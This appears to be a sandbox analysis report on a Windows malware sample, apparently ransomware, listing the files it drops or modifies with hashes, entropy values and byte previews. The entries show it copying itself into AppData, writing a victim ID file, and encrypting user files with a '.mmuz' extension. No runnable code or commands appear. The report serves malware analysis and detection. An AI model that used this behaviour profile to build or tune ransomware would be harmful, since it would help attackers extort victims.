Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.3.3.8.5.0.4.4.2.1.2.6.3.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.3.3.8.5.0.5.1.4.0.0.0.6.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.2.e.3.7.6.0.5.-.f.4.4.c.-.4.a.3.3.-.8.c.2.1.-.c.4.5.f.2.5.1.3.e.e.1.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.f.b.a.a.e.e.d.-.4.1.0.1.-.4.d.7.e.-.b.b.3.e.-.0.b.0.d.f.6.1.8.1.1.0.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.O.m.b.N.j.E...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.e.5.0.-.0.0.0.1.-.0.0.1.5.-.6.a.1.d.-.0.3.f.6.2.3.d.e.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.d.a.6.a.c.3.3.8.e.a.a.9.c.7.6.d.5.f.1.1.a.3.c.2.b.8.8.6.e.0.8.0.0.0.0.f.f.f.f.!.0.0.0.0.d.4.e.9.e.f.1.0.d.7.6.8.5.d.4.9.1.5.8.3.c.6.f.a.9.3.a.e.5.d.9.1.0.5.d.8.1.5.b.d.!.O.m.b.N.j.E...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4ECB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Jul 24 23:48:24 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	157504
Entropy (8bit):	1.8735511243804466
Encrypted:	false
SSDEEP:	384:EE0YCJsqL9nDYE13YB9QZaxAbKTLqvfBwb3GxAxP3zBhhKZJFzD/WbkvW:EETCu+nDH1oB9TsfIGaxP3zBho1nxu
MD5:	BD229341D8EB13502FA5AB086AF11CA6
SHA1:	BA0AA85121388DBC9C8F28043C6CFCB1E0B48120
SHA-256:	F5BED4DE0F28FF7C561E62E1940E827AF1707D462693E1C2A673EE52BABE469D
SHA-512:	EB5B3096E3D7C49C6E7DBEBB618D8A2EA545B1431807A1F6FAC9F21C7EFA6CF74AC2A917A0313A92FD15C7F77D304E66434C1ACE950075610F056157F2E7F4AA
Malicious:	false
Preview:	MDMP..a..... .........f............t.......................<...T ...........P..........`.......8...........T...........@>...)........... ..........\|"..............................................................................eJ.......#......GenuineIntel............T.......P.....f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5034.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.7052199470190064
Encrypted:	false
SSDEEP:	192:R6l7wVeJ3N6P6Y/oxS6MgmfG9pDB89bcYsf0Mt0m:R6lXJd6P6Y/r6MgmfGGcLfh
MD5:	59A5D2A80EB36CEB0354D0BE108A2219
SHA1:	1ECD3C8FD981E9C472B49569B421A42FC0443FC7
SHA-256:	3E60080DEDC6335E8812BC84519DEFA89A890A708F0DFAA46787ABD4D72A2C93
SHA-512:	1DC78EC8A31DC77EB110A96092F408C364EB99CC231A84FEB53B7C9F78E3019D4D78651C5E61F879A8EBD558269489F0A42EFD9CD3039305A1C3E32FB827415C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.6.6.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5064.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4551
Entropy (8bit):	4.454479765797068
Encrypted:	false
SSDEEP:	48:cvIwWl8zsbNJg77aI9hWWpW8VYJYm8M4JgaFrJm+q8uGrgG5d:uIjfbnI7j37VNJdJmGrgG5d
MD5:	0260F4AAFCB361F1A018E0C1A7C7241D
SHA1:	4C7586A4A96DB97D4A6EB050AC618243E3B3057D
SHA-256:	FC3A91DAB48A86E11B84DE0A299A22F1D312E1F552C13F4B2C0FD7785A697084
SHA-512:	54CB913477C622E9D694E51F07438B696DB9AFDF32FAB5EC719A9FE4EF620D248CE2830C419AFB443ED4E98696DD5260E2BDCE753C088463E442206A3ACDA4C4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="425691" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.766968315481371
Encrypted:	false
SSDEEP:	3:kUhPdc1RVkAqr:JPebur
MD5:	80D77F44F0D7AAE55989F3A1760E1CAD
SHA1:	6B64A61CCDC81ECFF718DCAC26C916247C561E19
SHA-256:	FF3B9FD584927CFBCF8B2C8FB3607DD7ECCB9F607545B2DE1F50DC01F723FA3A
SHA-512:	CBB9182122897889A1F780A6B1343E65986A6F917140CDB4D711C935459BBCF3FCEA66914B2416B10F8CE61D7F0DA08C962E7E23F3CDA509D04DDEF475436C42
Malicious:	false
Preview:	dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1..

C:\Users\user\.curlrc

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.213227415719548
Encrypted:	false
SSDEEP:	6:KWkIN2dh3PB1yHRLeoZ5WBreaCPP1DmMnQO/R5u5I0ZiPlmZYX+Pebugcii96Z:NkIN6yRLBbErePVDPnQS5Q5iNmyX+PrS
MD5:	290B24EF6C7EC79A48D954A664FD622C
SHA1:	AC8CD30491AFE69C7EEF2046EE5559D08B44994E
SHA-256:	B080D852C94EA19AE6A5F0F951C89BE0FACCD679B1359AFB4CF48C665C270944
SHA-512:	F0F9C4B0352A1EA1E651582EB751A3EDE4FA5F226AEB1B5514345CCA08B54E9831C99656505F6C2BFDF4FEC8001C5999CBE301F775A43AE394875B1AD67638CD
Malicious:	false
Preview:	insecF../7....XGTQx..e..>$A\|..b..y..c...&.[/...h.?p..?...t..,./.....#.2s.....\|.QEA@&?....x..]y..+....ss.B.'i.`....DM......}...kDA..k;.93P.<&.8..p)+Ig.B........~.l....N.e....H.7...K.X...g.Y.]......!=.$Jt.8....PV.D.l{>..a.o.B{H....*.m....>giTc.Y.....e..`..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\.curlrc.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.213227415719548
Encrypted:	false
SSDEEP:	6:KWkIN2dh3PB1yHRLeoZ5WBreaCPP1DmMnQO/R5u5I0ZiPlmZYX+Pebugcii96Z:NkIN6yRLBbErePVDPnQS5Q5iNmyX+PrS
MD5:	290B24EF6C7EC79A48D954A664FD622C
SHA1:	AC8CD30491AFE69C7EEF2046EE5559D08B44994E
SHA-256:	B080D852C94EA19AE6A5F0F951C89BE0FACCD679B1359AFB4CF48C665C270944
SHA-512:	F0F9C4B0352A1EA1E651582EB751A3EDE4FA5F226AEB1B5514345CCA08B54E9831C99656505F6C2BFDF4FEC8001C5999CBE301F775A43AE394875B1AD67638CD
Malicious:	false
Preview:	insecF../7....XGTQx..e..>$A\|..b..y..c...&.[/...h.?p..?...t..,./.....#.2s.....\|.QEA@&?....x..]y..+....ss.B.'i.`....DM......}...kDA..k;.93P.<&.8..p)+Ig.B........~.l....N.e....H.7...K.X...g.Y.]......!=.$Jt.8....PV.D.l{>..a.o.B{H....*.m....>giTc.Y.....e..`..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	modified
Size (bytes):	818
Entropy (8bit):	7.680389895936945
Encrypted:	false
SSDEEP:	12:YKWG5OLOrCl572kkWu1m8LsKeaoH1SXBn8cmWY4yEec538RBZbOKIdSS4XIPrgcq:YKWG5YcCziXCoXXUW5MRfORe+kbD
MD5:	8D2875FB6A3AC4DBC0E311B57CAF33EC
SHA1:	16D0B75C2CB31A354A8EED30926B3BFEB5B6DCA5
SHA-256:	85C10C6C20A4CB45BF83D3C8206A2CE658785F74AF2B6C285CC03BD3EBCD3EBA
SHA-512:	52EA611CF7FC8D4533300DF8B11715866D29AE6ECA74120DA287E1C2F7D95690C15E3EF0B7E78188957E0F384D38BB9EB404C1F49D055BE996A1243ED54CDF85
Malicious:	false
Preview:	{"os_.<{4....V.AM...:3...vU.]..P..O..{.{...3...5.yJ....#.2......c,..qt........l..qL.....L..A...=...=........lto.G..6+..9....;B.v.......,.O...t.V.,...\|r...e.......4ksLp.d.C.....j....3.....#.z1.U0....!...~..}".)...........U9{..N......)O..._7(.....Lw~.s....h.KB.7m.....eq..+T.....Kd...op\.x+.l..8B......".}........4W..29.2.SE..f!..M.9C.5].zo)I....E.o..7.H..j.....)a.1I..8.JS..5h...^.....>$...ib...3Z....q\|+.......jo.......M+...D...~1R....H......[..{..E!..f.@"w.h...yu...?G......&).j"K..M@...M...4<..D....X%B..:.....y1@.kQ...[W.S...NIc...q;..&.../.)..8..A......>.t..>iwx....f...pqJ.-U.d..K......I.1.n.E..Xuz...?.0......P....ZN..Pz..."=.....{...Xi..sV.e..Mr.b...e...E...4.>P.Q...]#A.@D_.K.@..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\.curlrc

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.196097911187607
Encrypted:	false
SSDEEP:	6:KW9oVjSBi1nyx0OOZreNcrNS7woHfL7wjnjhLD5sf2hFPebugcii96Z:NeVmBi1nyCOOJeNaZOHWnjhLN+UFPrgX
MD5:	B128E9CDB7F57DE1005912D4320AFBBA
SHA1:	598CB52E6AEE23B3220599975C28BBACB38942D3
SHA-256:	3ADA6C4FD0E27E55140A16064CD0130AD3F629746246FB21CCB500D48F820750
SHA-512:	2EF1751F069E7D24F935C08ECDB57E94D1D63BAFC1CD62B02AF17926C3C32F024916F11C828F74338FD8758D80F1C928FD4FC46766D959AC6874F280298D1DEA
Malicious:	false
Preview:	insec$'5.4P...$M/.....y4..k.S-..F.&.p.v...%..?.H..L.q........u..!..fL.X.Kqp.^y....D....9..._(...w..Os.E.4=....h.......hy.G..w..v...*.1gAO..V...^....V.K..B...W...)ah_E.......M......i..FC...'....5........b....^>.Z.W...\|.o........XG_.^..$9<.......9rT.l.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	811520
Entropy (8bit):	7.213082816838916
Encrypted:	false
SSDEEP:	12288:QOl/e0TCHSyxtbdGDtAl/HTG8EHpUMc4PwunvuhEFo:Qo/ebHSwdQDahHRjM9wQ2h0o
MD5:	502D888EA54C803993572355CC829B54
SHA1:	408AD3C6791D64372AC3583717EFA33562D47A35
SHA-256:	4F1BCDCBC93F0EDF7A5B94C5DA7B46EE72D4BA9619862036ED1CB202A07385C2
SHA-512:	459356B89907A972B7EACBBAA5AC8147C62105CCC0BCC42AE1BBB9133EB3929A1F6DC9B64860EC5C6DAEBA69CB058A56276F554F3E5C24CEF5C25EAAEA68E016
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7..Y...Y...Y......Y......Y......Y..."...Y...X.3.Y......Y......Y......Y.Rich..Y.........PE..L...2..`.............................P.......p....@.........................................................................Df..<.......(;..........................................................H&..@...............p............................text....^.......`.................. ..`.data.......p.......d..............@....rsrc...(;.......<..................@..@A(2..uL..P...P...B... .............. ...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	5199
Entropy (8bit):	7.962582027746403
Encrypted:	false
SSDEEP:	96:0+GijaUtJ0X7Iwg6KQUtTZ1uAVDy7dt1ETJSlIiZcv7hchtk3H:HGZUD0rvgzJVO7dvETIGiSFWkX
MD5:	C0FDA165371A97B4697D1619A28F45F6
SHA1:	0AFA8CA1B1AFD1E6AE241D85243CBD75F864CEA5
SHA-256:	3452B4010EBC1383617DE07C149FE152EA9ACD67517588A6339A35164EB9AEB7
SHA-512:	2C6CB036BB92F9F8E178365236555D3523C6A9E492EDDCAE0F9A63BA177CA79450464603F32465A72F1DBA743F348DD51EBCB5308961BC6CAAB7A4F96D3AF1B2
Malicious:	false
Preview:	.{...%,.^Evm37.J']..;...+(.H._.K.(..P..h.........7U.....3.....,.(...6.q..v.....W.T.Qo.;.R-Sz.XV..X.$.l ..N.J......U...8..m..C..@U...M..;i.`....*>=x.t..0R..l.I.0.....n.:W{.F.3......5z..y.:..;3...._}.,.V.}..%...>...uy.,.......1o..7^qb.'S.L..t]......m^..........S..l.........{....`9...ii9%&..g%E.3...B....0B..4..o.M..u.! .....xD..(GH..O.....0...........].mA.T/4[lU....-..da...i2sC.i.Z;.9...b.. .-&..'.D~...q...=~+..1.M.F..>F.n`.W.....y.T.<..<p...w3./.A..\|.>#...hnN..M....a...d..~.7=.dC......-..}...a.`.....!..:.ivV3......U....h..S.....8(../.3X..54....!..P.Og.-.......[D.).D.d..~..'.".^+..R.U.......{.%...c...c.....%+...Fy...Mk\|q......`..i....c&9.D.....3......M~..O......I..)..h.\|.@..t...&...t.d.'...\...r....@....F...K..0@.....d.b.N..o`.W0..._ .g...\M..@.......c..3.)V..A ..B&y.b..l\|6....W..RBR.r[....4$.e=.....(4.R...F..~...1..qR.....:.3.Y.......XHv5...n.n..Z.......a.j.\|.c{.v..:N.<.o....F#..8c .N#.L.o..K^G.jDL...2..Mp7Lb..ce=....<+....h....Q...$q..f.

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.7788357699207085
Encrypted:	false
SSDEEP:	24:T4/IY4v+RZqJLrl4aJ4UUYdWBGMfYt1Ry3j1n2r9e1oivkbD:TCIH1v4bYFMfyRyzZ2M32D
MD5:	453CE311FCA41BE7A2AA43BB8803C6AE
SHA1:	96A95135C69C3E03F1FD0232FD0813CADE7F2B21
SHA-256:	22A351998A101950CA01C993BF1B5317597D00A60B175A4263425FA008D2B686
SHA-512:	F2528C201DCCE43373811C5BB8964F3EFD354CBFE3F1D5FDF7E3A86D22ABFECAAE096B1B7E001B39794677EF9E4A9778FE82DF5D0E789161A862182FDB9BCC5B
Malicious:	false
Preview:	....C.r%.J>.:i......}1......G.+...".z....e..+....n.Y.........>w.X.....td..X..8..o\7......x...]d..nnuz.hW83. ...r.c.H6..^.......L.3X.:xo ......4Y.....,y..]..P.d.\....i.=+@D<5.[..o..#..2...!...D.QxR...F...^...G....^g.DE.bI?..2.:RC38..$..X +...S.~./)d....a7..}...........!........5D....K..1R....@W....U._.n.H.......n........4....y\Xc'........rXv.K.......).8qy.t9F..a{k.Wi....0.+...V.Y..\.Q.........}..[.Q.%..0.....}g.sX4.....M.. 5dri.._.zz...p..../;...lU.."L].....$....}!...Do.64....0.(......v.....4(..M..w........R....^.@......R.l...8.{..d1X.,.....{r.%t.(y....g....\|...^Q...V@}........n_5-1jZ...$;.E.l.<.~..9.V.Q..{...K.(o.....Q.!.<....i........k%..4(d.....?l......I3.Q...8..m:...\|33...A.C.7.+-]M.$.K.1x#ER..K,....r .-n....B=...&B..a..+jV.6...f.{W4.....X./.m.V%.=e'...4F..x.%.........V.;.R.....:..iN(f...Y...G/......A_..x.......A.....ZoR...qJ#].N..-M.&mO8....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdp

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	7.842293611999591
Encrypted:	false
SSDEEP:	24:Tu1jUsUq8EWw9UcRmcrwHwkPQiFuXSIez7jZw9rfZqXrU+GLChbkbD:IjbUq8/BrcrerPQoz7e5IWCqD
MD5:	2513491CB9CE65DE6F797AE7DEC1FF5F
SHA1:	D14461F06849046A12686EEF3B6B73AA703B29FA
SHA-256:	984AD6C01419E590F1BA1EF9F07CEBA372EC3D6769467267D4D822343BD375CC
SHA-512:	6DB4E3938AEFA4DFA2F8E3B52655CCFFF28D1B721548D0455CDB083D3C4E84A0B31F31DFFC5DCACF2F91B853EB188E581C1CA1CA2AE244660F994C7284A37F9E
Malicious:	false
Preview:	.{.d...<...\w".\|J..~.G.Z...l......L..\|{.z...3.....E..%..b.\|....8eI...?...C.V....Sv..4.F>N.; /.t.y.#8.=}....fn.(y.R(.?..)../...6..J..Q.....?t....;KO.F.....'3...]...3j./;.!.V....`(.k..+dV.IYX..............a..{..IO.U.d.....uvPy.j..Z=U..X....E.7....QZ.o...........+<(......1....9.N.Tw.$..s..e%..O..r<.a2.n.qp.i.#.I....n....5Z..H.[....".y"..yK....Bl.m.t..@8.....sEN..z+])L.CS6S....!v`.z.5..gg.....w....w..g..Z"...A........rF.f=.........3.o$..m..........qW...1.U..K....H..h.f...:.Y..T9........SKF...@.....@\.el...D>0..0.nh..[...=J)!D........;....qu.8VB%..`.}..f...7.....Rh...mx...[L.B..]8..cVK......H..+P.rj.J......%......G.V......M](...:`.7...c..+Q}....WD..vj..kiD.{.@E..+........_....Dc._..=...V.\.4.... ...q"..<M@j.r.b.3-.%!z..2.#.i ...8...J.o(......-t.w........&8v..i..H.....ff...;._...-G....z......Fj.&....).....'&....Tmr..r....e...-.....a.....d?.,.F.d....!9.k.ND*.c...n....vI...g...s:E......Z4..r.?.)]u..~..4.z.%6.@Rz..9...U..... "9.pw..53i.

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdpresource

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.283181787198766
Encrypted:	false
SSDEEP:	6:bsKvozQQ8ledj0yulAg427tH+CFUH5hCLzhN63W7SKlswNLw7Pebugcii96Z:nozQXedwzAgiXehNQWLlsv7Prgcii9a
MD5:	9AD301F0A2A5DCBA44A0A573D0226C4D
SHA1:	AF55D0C6F083E99E388D973D3E877A08F2A003D4
SHA-256:	C8271812545C675784D33D3BCB5506A2811A6E52A847045C762E8E973455620A
SHA-512:	FDF6C40D337D4FBECA2E3413EF3C160AD7B7829E203A4A3B32D6A857C8C475CB8EDBA671DFB7C214E29682727AE8FDE1F285CFD649620171410AE8790855154F
Malicious:	false
Preview:	.{..,.o....FzT_..uQ.).,_..,..9a........Q.0..P1.P.;.A[.F.U.9.>\S.I.......".....r......;M.....v.....cJ.,........Q..(...!V.Rz....gUI.]y7Kd...2K7...\?3r7Y.*.n7.O..#..@m...B.....5T0...#y^c..a.2w{.H............a.}c..>-.].Ezv.!mZ`....PBr+..{.......RH[Vjm@.#f....0."11..Jr.P..........ErL.7.]v...~`..L.\dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\IconCache.db

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	11305
Entropy (8bit):	7.982867409422865
Encrypted:	false
SSDEEP:	192:KH2hCBEdBpd0XXxrJdp0xO0Z4UAkLaUxD4mjNEX367LhNd:KW4BEHd0npHp0OklMINE67Vj
MD5:	404D5C33ACE2C2D7C518F77D9EE31FA3
SHA1:	E6042888F251A83738D6FA9A07572DB1EE7A2BE8
SHA-256:	391A1DAD71458FBEE1F8AD4629E69F07DF0DDF339B3717EBBD52B083BAD60E8E
SHA-512:	49E4CBDFB3F1E489F1272A4E0BCCD5C55CED2A26406A0D30EA25C20925222CA0F5D4EA026AEBE234C6F34C49AD0AC99575CAAE2A7903C96AD5C278DF810BCC37
Malicious:	false
Preview:	H...W......ULlp......?.J.Sn.N.'g..}...v9.s..N......RR.%Z^.2q!w`.....l3..u<.<=..../......V9...I.B,...........GP.,XJy..lg.@f.....R=...)...O..V.<..W.....2..a.-...I&+.E...,#.I6..0....h..l.%.V* .+~...M.@4.U.....sFV.J.c(.}....f.s.V.P.<.Z1r.@...h...P....v:l..*.(..# ....&......mg.NYsH."t#....9..5E.........-./h.9.....(...i..T.l.BYL.vN.%...N.g...-.]f.`......&....a....1.f..V.r(.h..nx..f.....[.I^@....^?he.r...........Dq.UL.xX.D.. ....x+l..!m..!w.$..p..j:.0..F.1.}.P.v:..{4.u...........6BB.\|6/.o.A..y..n....).+.=.c_\|J~....Ru.Q.e.M...A0.@S.....&f..Db.`....6...c.:@xL....g..d.U....s.9.wx..).....F.Q..k.xU&.........K....g..^.(ez.x.w....{..t..W4.j0]&T..k.......g;.g17)..4...A....kNsA.....a.j.....,.. .jK.....pa.%N.%.'{.Vf`$S.8}.....m..$&/.L..=`z.'.1.;......`......3....7...d....k...I..h\|N~1>..TB...v...;.bSp$.....'. ...N.........z....Gj...'..eT..5@.v.....K7.d...m..".so..?...de..)..oy.CIQ.$.K.....sF.;`N..^....@.V....N.#r..Z.4'z.`l....7L..\|....a.o..`..#..bl.L.[.&F2z

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\k1[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\k1[2].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\k2[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
